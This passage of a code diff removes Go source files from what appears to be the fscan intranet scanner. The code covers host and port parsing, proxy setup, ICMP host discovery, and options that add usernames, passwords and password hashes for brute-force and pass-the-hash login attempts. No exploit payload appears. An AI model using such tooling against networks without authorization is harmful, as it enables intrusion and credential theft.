IsSave = false
|
||||
fmt.Println("[*] 已启用临时保存模式")
|
||||
}
|
||||
|
||||
// 处理端口配置
|
||||
if Ports == DefaultPorts {
|
||||
Ports += "," + Webport
|
||||
}
|
||||
|
||||
if PortAdd != "" {
|
||||
if strings.HasSuffix(Ports, ",") {
|
||||
Ports += PortAdd
|
||||
} else {
|
||||
Ports += "," + PortAdd
|
||||
}
|
||||
fmt.Printf("[*] 已添加额外端口: %s\n", PortAdd)
|
||||
}
|
||||
|
||||
// 处理用户名配置
|
||||
if UserAdd != "" {
|
||||
users := strings.Split(UserAdd, ",")
|
||||
for dict := range Userdict {
|
||||
Userdict[dict] = append(Userdict[dict], users...)
|
||||
Userdict[dict] = RemoveDuplicate(Userdict[dict])
|
||||
}
|
||||
fmt.Printf("[*] 已添加额外用户名: %s\n", UserAdd)
|
||||
}
|
||||
|
||||
// 处理密码配置
|
||||
if PassAdd != "" {
|
||||
passes := strings.Split(PassAdd, ",")
|
||||
Passwords = append(Passwords, passes...)
|
||||
Passwords = RemoveDuplicate(Passwords)
|
||||
fmt.Printf("[*] 已添加额外密码: %s\n", PassAdd)
|
||||
}
|
||||
|
||||
// 处理Socks5代理配置
|
||||
if Socks5Proxy != "" {
|
||||
if !strings.HasPrefix(Socks5Proxy, "socks5://") {
|
||||
if !strings.Contains(Socks5Proxy, ":") {
|
||||
Socks5Proxy = "socks5://127.0.0.1" + Socks5Proxy
|
||||
} else {
|
||||
Socks5Proxy = "socks5://" + Socks5Proxy
|
||||
}
|
||||
}
|
||||
|
||||
_, err := url.Parse(Socks5Proxy)
|
||||
if err != nil {
|
||||
return fmt.Errorf("Socks5代理格式错误: %v", err)
|
||||
}
|
||||
NoPing = true
|
||||
fmt.Printf("[*] 使用Socks5代理: %s\n", Socks5Proxy)
|
||||
}
|
||||
|
||||
// 处理HTTP代理配置
|
||||
if Proxy != "" {
|
||||
switch Proxy {
|
||||
case "1":
|
||||
Proxy = "http://127.0.0.1:8080"
|
||||
case "2":
|
||||
Proxy = "socks5://127.0.0.1:1080"
|
||||
default:
|
||||
if !strings.Contains(Proxy, "://") {
|
||||
Proxy = "http://127.0.0.1:" + Proxy
|
||||
}
|
||||
}
|
||||
|
||||
if !strings.HasPrefix(Proxy, "socks") && !strings.HasPrefix(Proxy, "http") {
|
||||
return fmt.Errorf("不支持的代理类型")
|
||||
}
|
||||
|
||||
_, err := url.Parse(Proxy)
|
||||
if err != nil {
|
||||
return fmt.Errorf("代理格式错误: %v", err)
|
||||
}
|
||||
fmt.Printf("[*] 使用代理: %s\n", Proxy)
|
||||
}
|
||||
|
||||
// 处理Hash配置
|
||||
if Hash != "" {
|
||||
if len(Hash) != 32 {
|
||||
return fmt.Errorf("Hash长度必须为32位")
|
||||
}
|
||||
Hashs = append(Hashs, Hash)
|
||||
}
|
||||
|
||||
// 处理Hash列表
|
||||
Hashs = RemoveDuplicate(Hashs)
|
||||
for _, hash := range Hashs {
|
||||
hashByte, err := hex.DecodeString(hash)
|
||||
if err != nil {
|
||||
fmt.Printf("[!] Hash解码失败: %s\n", hash)
|
||||
continue
|
||||
}
|
||||
HashBytes = append(HashBytes, hashByte)
|
||||
}
|
||||
Hashs = []string{}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// ParseScantype 解析扫描类型并设置对应的端口
|
||||
func ParseScantype(Info *HostInfo) error {
|
||||
// 先处理特殊扫描类型
|
||||
specialTypes := map[string]string{
|
||||
"hostname": "135,137,139,445",
|
||||
"webonly": Webport,
|
||||
"webpoc": Webport,
|
||||
"web": Webport,
|
||||
"portscan": DefaultPorts + "," + Webport,
|
||||
"main": DefaultPorts,
|
||||
"all": DefaultPorts + "," + Webport,
|
||||
"icmp": "", // ICMP不需要端口
|
||||
}
|
||||
|
||||
// 如果是特殊扫描类型
|
||||
if customPorts, isSpecial := specialTypes[Scantype]; isSpecial {
|
||||
if Scantype != "all" && Ports == DefaultPorts+","+Webport {
|
||||
Ports = customPorts
|
||||
}
|
||||
fmt.Printf("[*] 扫描类型: %s, 目标端口: %s\n", Scantype, Ports)
|
||||
return nil
|
||||
}
|
||||
|
||||
// 检查是否是注册的插件类型
|
||||
plugin, validType := PluginManager[Scantype]
|
||||
if !validType {
|
||||
showmode()
|
||||
return fmt.Errorf("无效的扫描类型: %s", Scantype)
|
||||
}
|
||||
|
||||
// 如果是插件扫描且使用默认端口配置
|
||||
if Ports == DefaultPorts+","+Webport {
|
||||
if plugin.Port > 0 {
|
||||
Ports = strconv.Itoa(plugin.Port)
|
||||
}
|
||||
fmt.Printf("[*] 扫描类型: %s, 目标端口: %s\n", plugin.Name, Ports)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// showmode 显示所有支持的扫描类型
|
||||
func showmode() {
|
||||
fmt.Println("[!] 指定的扫描类型不存在")
|
||||
fmt.Println("[*] 支持的扫描类型:")
|
||||
|
||||
// 显示常规服务扫描类型
|
||||
fmt.Println("\n[+] 常规服务扫描:")
|
||||
for name, plugin := range PluginManager {
|
||||
if plugin.Port > 0 && plugin.Port < 1000000 {
|
||||
fmt.Printf(" - %-10s (端口: %d)\n", name, plugin.Port)
|
||||
}
|
||||
}
|
||||
|
||||
// 显示特殊漏洞扫描类型
|
||||
fmt.Println("\n[+] 特殊漏洞扫描:")
|
||||
for name, plugin := range PluginManager {
|
||||
if plugin.Port >= 1000000 || plugin.Port == 0 {
|
||||
fmt.Printf(" - %-10s\n", name)
|
||||
}
|
||||
}
|
||||
|
||||
// 显示其他扫描类型
|
||||
fmt.Println("\n[+] 其他扫描类型:")
|
||||
specialTypes := []string{"all", "portscan", "icmp", "main", "webonly", "webpoc"}
|
||||
for _, name := range specialTypes {
|
||||
fmt.Printf(" - %s\n", name)
|
||||
}
|
||||
|
||||
os.Exit(0)
|
||||
}
|
||||
@@ -1,380 +0,0 @@
|
||||
package Common
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"errors"
|
||||
"fmt"
|
||||
"math/rand"
|
||||
"net"
|
||||
"os"
|
||||
"regexp"
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
var ParseIPErr = errors.New("主机解析错误\n" +
|
||||
"支持的格式: \n" +
|
||||
"192.168.1.1 (单个IP)\n" +
|
||||
"192.168.1.1/8 (8位子网)\n" +
|
||||
"192.168.1.1/16 (16位子网)\n" +
|
||||
"192.168.1.1/24 (24位子网)\n" +
|
||||
"192.168.1.1,192.168.1.2 (IP列表)\n" +
|
||||
"192.168.1.1-192.168.255.255 (IP范围)\n" +
|
||||
"192.168.1.1-255 (最后一位简写范围)")
|
||||
|
||||
// ParseIP 解析IP地址配置,支持从主机字符串和文件读取
|
||||
func ParseIP(host string, filename string, nohosts ...string) (hosts []string, err error) {
|
||||
// 处理主机和端口组合的情况 (192.168.0.0/16:80)
|
||||
if filename == "" && strings.Contains(host, ":") {
|
||||
hostport := strings.Split(host, ":")
|
||||
if len(hostport) == 2 {
|
||||
host = hostport[0]
|
||||
hosts = ParseIPs(host)
|
||||
Ports = hostport[1]
|
||||
fmt.Printf("[*] 已解析主机端口组合,端口设置为: %s\n", Ports)
|
||||
}
|
||||
} else {
|
||||
// 解析主机地址
|
||||
hosts = ParseIPs(host)
|
||||
|
||||
// 从文件加载额外主机
|
||||
if filename != "" {
|
||||
fileHosts, err := Readipfile(filename)
|
||||
if err != nil {
|
||||
fmt.Printf("[!] 读取主机文件失败: %v\n", err)
|
||||
} else {
|
||||
hosts = append(hosts, fileHosts...)
|
||||
fmt.Printf("[*] 已从文件加载额外主机: %d 个\n", len(fileHosts))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 处理排除主机
|
||||
if len(nohosts) > 0 && nohosts[0] != "" {
|
||||
excludeHosts := ParseIPs(nohosts[0])
|
||||
if len(excludeHosts) > 0 {
|
||||
// 使用map存储有效主机
|
||||
temp := make(map[string]struct{})
|
||||
for _, host := range hosts {
|
||||
temp[host] = struct{}{}
|
||||
}
|
||||
|
||||
// 删除需要排除的主机
|
||||
for _, host := range excludeHosts {
|
||||
delete(temp, host)
|
||||
}
|
||||
|
||||
// 重建主机列表
|
||||
var newHosts []string
|
||||
for host := range temp {
|
||||
newHosts = append(newHosts, host)
|
||||
}
|
||||
hosts = newHosts
|
||||
sort.Strings(hosts)
|
||||
fmt.Printf("[*] 已排除指定主机: %d 个\n", len(excludeHosts))
|
||||
}
|
||||
}
|
||||
|
||||
// 去重处理
|
||||
hosts = RemoveDuplicate(hosts)
|
||||
fmt.Printf("[*] 最终有效主机数量: %d\n", len(hosts))
|
||||
|
||||
// 检查解析结果
|
||||
if len(hosts) == 0 && len(HostPort) == 0 && (host != "" || filename != "") {
|
||||
return nil, ParseIPErr
|
||||
}
|
||||
|
||||
return hosts, nil
|
||||
}
|
||||
|
||||
func ParseIPs(ip string) (hosts []string) {
|
||||
if strings.Contains(ip, ",") {
|
||||
IPList := strings.Split(ip, ",")
|
||||
var ips []string
|
||||
for _, ip := range IPList {
|
||||
ips = parseIP(ip)
|
||||
hosts = append(hosts, ips...)
|
||||
}
|
||||
} else {
|
||||
hosts = parseIP(ip)
|
||||
}
|
||||
return hosts
|
||||
}
|
||||
|
||||
// parseIP 解析不同格式的IP地址,返回解析后的IP列表
|
||||
func parseIP(ip string) []string {
|
||||
reg := regexp.MustCompile(`[a-zA-Z]+`)
|
||||
|
||||
switch {
|
||||
// 处理常用内网IP段简写
|
||||
case ip == "192":
|
||||
return parseIP("192.168.0.0/8")
|
||||
case ip == "172":
|
||||
return parseIP("172.16.0.0/12")
|
||||
case ip == "10":
|
||||
return parseIP("10.0.0.0/8")
|
||||
|
||||
// 处理/8网段 - 仅扫描网关和随机IP以避免过多扫描
|
||||
case strings.HasSuffix(ip, "/8"):
|
||||
return parseIP8(ip)
|
||||
|
||||
// 处理CIDR格式 (/24 /16 /8等)
|
||||
case strings.Contains(ip, "/"):
|
||||
return parseIP2(ip)
|
||||
|
||||
// 处理域名 - 保留域名格式
|
||||
case reg.MatchString(ip):
|
||||
return []string{ip}
|
||||
|
||||
// 处理IP范围格式 (192.168.1.1-192.168.1.100)
|
||||
case strings.Contains(ip, "-"):
|
||||
return parseIP1(ip)
|
||||
|
||||
// 处理单个IP地址
|
||||
default:
|
||||
testIP := net.ParseIP(ip)
|
||||
if testIP == nil {
|
||||
fmt.Printf("[!] 无效的IP地址格式: %s\n", ip)
|
||||
return nil
|
||||
}
|
||||
return []string{ip}
|
||||
}
|
||||
}
|
||||
|
||||
// parseIP2 解析CIDR格式的IP地址段
|
||||
func parseIP2(host string) []string {
|
||||
// 解析CIDR
|
||||
_, ipNet, err := net.ParseCIDR(host)
|
||||
if err != nil {
|
||||
fmt.Printf("[!] CIDR格式解析失败: %s, %v\n", host, err)
|
||||
return nil
|
||||
}
|
||||
|
||||
// 转换为IP范围并解析
|
||||
ipRange := IPRange(ipNet)
|
||||
hosts := parseIP1(ipRange)
|
||||
|
||||
fmt.Printf("[*] 已解析CIDR %s -> IP范围 %s\n", host, ipRange)
|
||||
return hosts
|
||||
}
|
||||
|
||||
// parseIP1 解析IP范围格式的地址
|
||||
func parseIP1(ip string) []string {
|
||||
ipRange := strings.Split(ip, "-")
|
||||
testIP := net.ParseIP(ipRange[0])
|
||||
var allIP []string
|
||||
|
||||
// 处理简写格式 (192.168.111.1-255)
|
||||
if len(ipRange[1]) < 4 {
|
||||
endNum, err := strconv.Atoi(ipRange[1])
|
||||
if testIP == nil || endNum > 255 || err != nil {
|
||||
fmt.Printf("[!] IP范围格式错误: %s\n", ip)
|
||||
return nil
|
||||
}
|
||||
|
||||
// 解析IP段
|
||||
splitIP := strings.Split(ipRange[0], ".")
|
||||
startNum, err1 := strconv.Atoi(splitIP[3])
|
||||
endNum, err2 := strconv.Atoi(ipRange[1])
|
||||
prefixIP := strings.Join(splitIP[0:3], ".")
|
||||
|
||||
if startNum > endNum || err1 != nil || err2 != nil {
|
||||
fmt.Printf("[!] IP范围无效: %d-%d\n", startNum, endNum)
|
||||
return nil
|
||||
}
|
||||
|
||||
// 生成IP列表
|
||||
for i := startNum; i <= endNum; i++ {
|
||||
allIP = append(allIP, prefixIP+"."+strconv.Itoa(i))
|
||||
}
|
||||
|
||||
fmt.Printf("[*] 已生成IP范围: %s.%d - %s.%d\n", prefixIP, startNum, prefixIP, endNum)
|
||||
} else {
|
||||
// 处理完整IP范围格式 (192.168.111.1-192.168.112.255)
|
||||
splitIP1 := strings.Split(ipRange[0], ".")
|
||||
splitIP2 := strings.Split(ipRange[1], ".")
|
||||
|
||||
if len(splitIP1) != 4 || len(splitIP2) != 4 {
|
||||
fmt.Printf("[!] IP格式错误: %s\n", ip)
|
||||
return nil
|
||||
}
|
||||
|
||||
// 解析起始和结束IP
|
||||
start, end := [4]int{}, [4]int{}
|
||||
for i := 0; i < 4; i++ {
|
||||
ip1, err1 := strconv.Atoi(splitIP1[i])
|
||||
ip2, err2 := strconv.Atoi(splitIP2[i])
|
||||
if ip1 > ip2 || err1 != nil || err2 != nil {
|
||||
fmt.Printf("[!] IP范围无效: %s-%s\n", ipRange[0], ipRange[1])
|
||||
return nil
|
||||
}
|
||||
start[i], end[i] = ip1, ip2
|
||||
}
|
||||
|
||||
// 将IP转换为数值并生成范围内的所有IP
|
||||
startNum := start[0]<<24 | start[1]<<16 | start[2]<<8 | start[3]
|
||||
endNum := end[0]<<24 | end[1]<<16 | end[2]<<8 | end[3]
|
||||
|
||||
for num := startNum; num <= endNum; num++ {
|
||||
ip := strconv.Itoa((num>>24)&0xff) + "." +
|
||||
strconv.Itoa((num>>16)&0xff) + "." +
|
||||
strconv.Itoa((num>>8)&0xff) + "." +
|
||||
strconv.Itoa((num)&0xff)
|
||||
allIP = append(allIP, ip)
|
||||
}
|
||||
|
||||
fmt.Printf("[*] 已生成IP范围: %s - %s\n", ipRange[0], ipRange[1])
|
||||
}
|
||||
|
||||
return allIP
|
||||
}
|
||||
|
||||
// IPRange 计算CIDR的起始IP和结束IP
|
||||
func IPRange(c *net.IPNet) string {
|
||||
// 获取起始IP
|
||||
start := c.IP.String()
|
||||
|
||||
// 获取子网掩码
|
||||
mask := c.Mask
|
||||
|
||||
// 计算广播地址(结束IP)
|
||||
bcst := make(net.IP, len(c.IP))
|
||||
copy(bcst, c.IP)
|
||||
|
||||
// 通过位运算计算最大IP地址
|
||||
for i := 0; i < len(mask); i++ {
|
||||
ipIdx := len(bcst) - i - 1
|
||||
bcst[ipIdx] = c.IP[ipIdx] | ^mask[len(mask)-i-1]
|
||||
}
|
||||
end := bcst.String()
|
||||
|
||||
// 返回"起始IP-结束IP"格式的字符串
|
||||
result := fmt.Sprintf("%s-%s", start, end)
|
||||
fmt.Printf("[*] CIDR范围: %s\n", result)
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// Readipfile 从文件中按行读取IP地址
|
||||
func Readipfile(filename string) ([]string, error) {
|
||||
// 打开文件
|
||||
file, err := os.Open(filename)
|
||||
if err != nil {
|
||||
fmt.Printf("[!] 打开文件失败 %s: %v\n", filename, err)
|
||||
return nil, err
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
var content []string
|
||||
scanner := bufio.NewScanner(file)
|
||||
scanner.Split(bufio.ScanLines)
|
||||
|
||||
// 逐行处理IP
|
||||
for scanner.Scan() {
|
||||
line := strings.TrimSpace(scanner.Text())
|
||||
if line == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
// 解析IP:端口格式
|
||||
text := strings.Split(line, ":")
|
||||
if len(text) == 2 {
|
||||
port := strings.Split(text[1], " ")[0]
|
||||
num, err := strconv.Atoi(port)
|
||||
if err != nil || num < 1 || num > 65535 {
|
||||
fmt.Printf("[!] 忽略无效端口: %s\n", line)
|
||||
continue
|
||||
}
|
||||
|
||||
// 解析带端口的IP地址
|
||||
hosts := ParseIPs(text[0])
|
||||
for _, host := range hosts {
|
||||
HostPort = append(HostPort, fmt.Sprintf("%s:%s", host, port))
|
||||
}
|
||||
fmt.Printf("[*] 已解析IP端口组合: %s\n", line)
|
||||
} else {
|
||||
// 解析纯IP地址
|
||||
hosts := ParseIPs(line)
|
||||
content = append(content, hosts...)
|
||||
fmt.Printf("[*] 已解析IP地址: %s\n", line)
|
||||
}
|
||||
}
|
||||
|
||||
// 检查扫描过程中是否有错误
|
||||
if err := scanner.Err(); err != nil {
|
||||
fmt.Printf("[!] 读取文件时出错: %v\n", err)
|
||||
return content, err
|
||||
}
|
||||
|
||||
fmt.Printf("[*] 从文件加载完成,共解析 %d 个IP地址\n", len(content))
|
||||
return content, nil
|
||||
}
|
||||
|
||||
// RemoveDuplicate 对字符串切片进行去重
|
||||
func RemoveDuplicate(old []string) []string {
|
||||
// 使用map存储不重复的元素
|
||||
temp := make(map[string]struct{})
|
||||
var result []string
|
||||
|
||||
// 遍历并去重
|
||||
for _, item := range old {
|
||||
if _, exists := temp[item]; !exists {
|
||||
temp[item] = struct{}{}
|
||||
result = append(result, item)
|
||||
}
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// parseIP8 解析/8网段的IP地址
|
||||
func parseIP8(ip string) []string {
|
||||
// 去除CIDR后缀获取基础IP
|
||||
realIP := ip[:len(ip)-2]
|
||||
testIP := net.ParseIP(realIP)
|
||||
|
||||
if testIP == nil {
|
||||
fmt.Printf("[!] 无效的IP地址格式: %s\n", realIP)
|
||||
return nil
|
||||
}
|
||||
|
||||
// 获取/8网段的第一段
|
||||
ipRange := strings.Split(ip, ".")[0]
|
||||
var allIP []string
|
||||
|
||||
fmt.Printf("[*] 开始解析 %s.0.0.0/8 网段\n", ipRange)
|
||||
|
||||
// 遍历所有可能的第二、三段
|
||||
for a := 0; a <= 255; a++ {
|
||||
for b := 0; b <= 255; b++ {
|
||||
// 添加常用网关IP
|
||||
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.1", ipRange, a, b)) // 默认网关
|
||||
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.2", ipRange, a, b)) // 备用网关
|
||||
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.4", ipRange, a, b)) // 常用服务器
|
||||
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.5", ipRange, a, b)) // 常用服务器
|
||||
|
||||
// 随机采样不同范围的IP
|
||||
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.%d", ipRange, a, b, RandInt(6, 55))) // 低段随机
|
||||
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.%d", ipRange, a, b, RandInt(56, 100))) // 中低段随机
|
||||
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.%d", ipRange, a, b, RandInt(101, 150))) // 中段随机
|
||||
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.%d", ipRange, a, b, RandInt(151, 200))) // 中高段随机
|
||||
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.%d", ipRange, a, b, RandInt(201, 253))) // 高段随机
|
||||
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.254", ipRange, a, b)) // 广播地址前
|
||||
}
|
||||
}
|
||||
|
||||
fmt.Printf("[*] 已生成 %d 个采样IP地址\n", len(allIP))
|
||||
return allIP
|
||||
}
|
||||
|
||||
// RandInt 生成指定范围内的随机整数
|
||||
func RandInt(min, max int) int {
|
||||
// 参数验证
|
||||
if min >= max || min == 0 || max == 0 {
|
||||
return max
|
||||
}
|
||||
|
||||
// 生成随机数
|
||||
return rand.Intn(max-min) + min
|
||||
}
|
||||
@@ -1,90 +0,0 @@
|
||||
package Common
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// ParsePort 解析端口配置字符串为端口号列表
|
||||
func ParsePort(ports string) []int {
|
||||
if ports == "" {
|
||||
return nil
|
||||
}
|
||||
|
||||
var scanPorts []int
|
||||
slices := strings.Split(ports, ",")
|
||||
|
||||
// 处理每个端口配置
|
||||
for _, port := range slices {
|
||||
port = strings.TrimSpace(port)
|
||||
if port == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
// 处理预定义端口组
|
||||
if PortGroup[port] != "" {
|
||||
groupPorts := ParsePort(PortGroup[port])
|
||||
scanPorts = append(scanPorts, groupPorts...)
|
||||
fmt.Printf("[*] 解析端口组 %s -> %v\n", port, groupPorts)
|
||||
continue
|
||||
}
|
||||
|
||||
// 处理端口范围
|
||||
upper := port
|
||||
if strings.Contains(port, "-") {
|
||||
ranges := strings.Split(port, "-")
|
||||
if len(ranges) < 2 {
|
||||
fmt.Printf("[!] 无效的端口范围格式: %s\n", port)
|
||||
continue
|
||||
}
|
||||
|
||||
// 确保起始端口小于结束端口
|
||||
startPort, _ := strconv.Atoi(ranges[0])
|
||||
endPort, _ := strconv.Atoi(ranges[1])
|
||||
if startPort < endPort {
|
||||
port = ranges[0]
|
||||
upper = ranges[1]
|
||||
} else {
|
||||
port = ranges[1]
|
||||
upper = ranges[0]
|
||||
}
|
||||
}
|
||||
|
||||
// 生成端口列表
|
||||
start, _ := strconv.Atoi(port)
|
||||
end, _ := strconv.Atoi(upper)
|
||||
for i := start; i <= end; i++ {
|
||||
if i > 65535 || i < 1 {
|
||||
fmt.Printf("[!] 忽略无效端口: %d\n", i)
|
||||
continue
|
||||
}
|
||||
scanPorts = append(scanPorts, i)
|
||||
}
|
||||
}
|
||||
|
||||
// 去重并排序
|
||||
scanPorts = removeDuplicate(scanPorts)
|
||||
sort.Ints(scanPorts)
|
||||
|
||||
fmt.Printf("[*] 共解析 %d 个有效端口\n", len(scanPorts))
|
||||
return scanPorts
|
||||
}
|
||||
|
||||
// removeDuplicate 对整数切片进行去重
|
||||
func removeDuplicate(old []int) []int {
|
||||
// 使用map存储不重复的元素
|
||||
temp := make(map[int]struct{})
|
||||
var result []int
|
||||
|
||||
// 遍历并去重
|
||||
for _, item := range old {
|
||||
if _, exists := temp[item]; !exists {
|
||||
temp[item] = struct{}{}
|
||||
result = append(result, item)
|
||||
}
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
@@ -1,78 +0,0 @@
|
||||
package Common
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"golang.org/x/net/proxy"
|
||||
"net"
|
||||
"net/url"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// WrapperTcpWithTimeout 创建一个带超时的TCP连接
|
||||
func WrapperTcpWithTimeout(network, address string, timeout time.Duration) (net.Conn, error) {
|
||||
d := &net.Dialer{Timeout: timeout}
|
||||
return WrapperTCP(network, address, d)
|
||||
}
|
||||
|
||||
// WrapperTCP 根据配置创建TCP连接
|
||||
func WrapperTCP(network, address string, forward *net.Dialer) (net.Conn, error) {
|
||||
// 直连模式
|
||||
if Socks5Proxy == "" {
|
||||
conn, err := forward.Dial(network, address)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("建立TCP连接失败: %v", err)
|
||||
}
|
||||
return conn, nil
|
||||
}
|
||||
|
||||
// Socks5代理模式
|
||||
dialer, err := Socks5Dialer(forward)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("创建Socks5代理失败: %v", err)
|
||||
}
|
||||
|
||||
conn, err := dialer.Dial(network, address)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("通过Socks5建立连接失败: %v", err)
|
||||
}
|
||||
|
||||
return conn, nil
|
||||
}
|
||||
|
||||
// Socks5Dialer 创建Socks5代理拨号器
|
||||
func Socks5Dialer(forward *net.Dialer) (proxy.Dialer, error) {
|
||||
// 解析代理URL
|
||||
u, err := url.Parse(Socks5Proxy)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("解析Socks5代理地址失败: %v", err)
|
||||
}
|
||||
|
||||
// 验证代理类型
|
||||
if strings.ToLower(u.Scheme) != "socks5" {
|
||||
return nil, errors.New("仅支持socks5代理")
|
||||
}
|
||||
|
||||
address := u.Host
|
||||
var dialer proxy.Dialer
|
||||
|
||||
// 根据认证信息创建代理
|
||||
if u.User.String() != "" {
|
||||
// 使用用户名密码认证
|
||||
auth := proxy.Auth{
|
||||
User: u.User.Username(),
|
||||
}
|
||||
auth.Password, _ = u.User.Password()
|
||||
dialer, err = proxy.SOCKS5("tcp", address, &auth, forward)
|
||||
} else {
|
||||
// 无认证模式
|
||||
dialer, err = proxy.SOCKS5("tcp", address, nil, forward)
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("创建Socks5代理失败: %v", err)
|
||||
}
|
||||
|
||||
return dialer, nil
|
||||
}
|
||||
@@ -1,24 +0,0 @@
|
||||
// Config/types.go
|
||||
package Common
|
||||
|
||||
type HostInfo struct {
|
||||
Host string
|
||||
Ports string
|
||||
Url string
|
||||
Infostr []string
|
||||
}
|
||||
|
||||
// ScanPlugin 定义扫描插件的结构
|
||||
type ScanPlugin struct {
|
||||
Name string // 插件名称
|
||||
Port int // 关联的端口号,0表示特殊扫描类型
|
||||
ScanFunc func(*HostInfo) error // 扫描函数
|
||||
}
|
||||
|
||||
// PluginManager 管理插件注册
|
||||
var PluginManager = make(map[string]ScanPlugin)
|
||||
|
||||
// RegisterPlugin 注册插件
|
||||
func RegisterPlugin(name string, plugin ScanPlugin) {
|
||||
PluginManager[name] = plugin
|
||||
}
|
||||
-410
@@ -1,410 +0,0 @@
|
||||
package Core
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"golang.org/x/net/icmp"
|
||||
"net"
|
||||
"os/exec"
|
||||
"runtime"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
var (
|
||||
AliveHosts []string // 存活主机列表
|
||||
ExistHosts = make(map[string]struct{}) // 已发现主机记录
|
||||
livewg sync.WaitGroup // 存活检测等待组
|
||||
)
|
||||
|
||||
// CheckLive 检测主机存活状态
|
||||
func CheckLive(hostslist []string, Ping bool) []string {
|
||||
// 创建主机通道
|
||||
chanHosts := make(chan string, len(hostslist))
|
||||
|
||||
// 处理存活主机
|
||||
go handleAliveHosts(chanHosts, hostslist, Ping)
|
||||
|
||||
// 根据Ping参数选择检测方式
|
||||
if Ping {
|
||||
// 使用ping方式探测
|
||||
RunPing(hostslist, chanHosts)
|
||||
} else {
|
||||
probeWithICMP(hostslist, chanHosts)
|
||||
}
|
||||
|
||||
// 等待所有检测完成
|
||||
livewg.Wait()
|
||||
close(chanHosts)
|
||||
|
||||
// 输出存活统计信息
|
||||
printAliveStats(hostslist)
|
||||
|
||||
return AliveHosts
|
||||
}
|
||||
|
||||
// handleAliveHosts 处理存活主机信息
|
||||
func handleAliveHosts(chanHosts chan string, hostslist []string, isPing bool) {
|
||||
for ip := range chanHosts {
|
||||
if _, ok := ExistHosts[ip]; !ok && IsContain(hostslist, ip) {
|
||||
ExistHosts[ip] = struct{}{}
|
||||
|
||||
// 输出存活信息
|
||||
if !Common.Silent {
|
||||
protocol := "ICMP"
|
||||
if isPing {
|
||||
protocol = "PING"
|
||||
}
|
||||
fmt.Printf("[+] 目标 %-15s 存活 (%s)\n", ip, protocol)
|
||||
}
|
||||
|
||||
AliveHosts = append(AliveHosts, ip)
|
||||
}
|
||||
livewg.Done()
|
||||
}
|
||||
}
|
||||
|
||||
// probeWithICMP 使用ICMP方式探测
|
||||
func probeWithICMP(hostslist []string, chanHosts chan string) {
|
||||
// 尝试监听本地ICMP
|
||||
conn, err := icmp.ListenPacket("ip4:icmp", "0.0.0.0")
|
||||
if err == nil {
|
||||
RunIcmp1(hostslist, conn, chanHosts)
|
||||
return
|
||||
}
|
||||
|
||||
Common.LogError(err)
|
||||
fmt.Println("[-] 正在尝试无监听ICMP探测...")
|
||||
|
||||
// 尝试无监听ICMP探测
|
||||
conn2, err := net.DialTimeout("ip4:icmp", "127.0.0.1", 3*time.Second)
|
||||
if err == nil {
|
||||
defer conn2.Close()
|
||||
RunIcmp2(hostslist, chanHosts)
|
||||
return
|
||||
}
|
||||
|
||||
Common.LogError(err)
|
||||
fmt.Println("[-] 当前用户权限不足,无法发送ICMP包")
|
||||
fmt.Println("[*] 切换为PING方式探测...")
|
||||
|
||||
// 降级使用ping探测
|
||||
RunPing(hostslist, chanHosts)
|
||||
}
|
||||
|
||||
// printAliveStats 打印存活统计信息
|
||||
func printAliveStats(hostslist []string) {
|
||||
// 大规模扫描时输出 /16 网段统计
|
||||
if len(hostslist) > 1000 {
|
||||
arrTop, arrLen := ArrayCountValueTop(AliveHosts, Common.LiveTop, true)
|
||||
for i := 0; i < len(arrTop); i++ {
|
||||
output := fmt.Sprintf("[*] B段 %-16s 存活主机数: %d", arrTop[i]+".0.0/16", arrLen[i])
|
||||
Common.LogSuccess(output)
|
||||
}
|
||||
}
|
||||
|
||||
// 输出 /24 网段统计
|
||||
if len(hostslist) > 256 {
|
||||
arrTop, arrLen := ArrayCountValueTop(AliveHosts, Common.LiveTop, false)
|
||||
for i := 0; i < len(arrTop); i++ {
|
||||
output := fmt.Sprintf("[*] C段 %-16s 存活主机数: %d", arrTop[i]+".0/24", arrLen[i])
|
||||
Common.LogSuccess(output)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// RunIcmp1 使用ICMP批量探测主机存活(监听模式)
|
||||
func RunIcmp1(hostslist []string, conn *icmp.PacketConn, chanHosts chan string) {
|
||||
endflag := false
|
||||
|
||||
// 启动监听协程
|
||||
go func() {
|
||||
for {
|
||||
if endflag {
|
||||
return
|
||||
}
|
||||
// 接收ICMP响应
|
||||
msg := make([]byte, 100)
|
||||
_, sourceIP, _ := conn.ReadFrom(msg)
|
||||
if sourceIP != nil {
|
||||
livewg.Add(1)
|
||||
chanHosts <- sourceIP.String()
|
||||
}
|
||||
}
|
||||
